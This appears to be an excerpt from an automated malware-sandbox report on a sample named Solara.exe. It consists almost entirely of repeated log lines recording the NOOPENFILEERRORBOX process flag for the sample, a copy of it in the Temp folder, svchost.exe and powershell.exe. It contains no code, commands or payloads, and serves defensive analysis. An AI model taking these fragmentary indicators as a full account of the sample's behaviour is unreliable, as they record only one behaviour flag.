GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

76_2_00007FF75AE95820

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
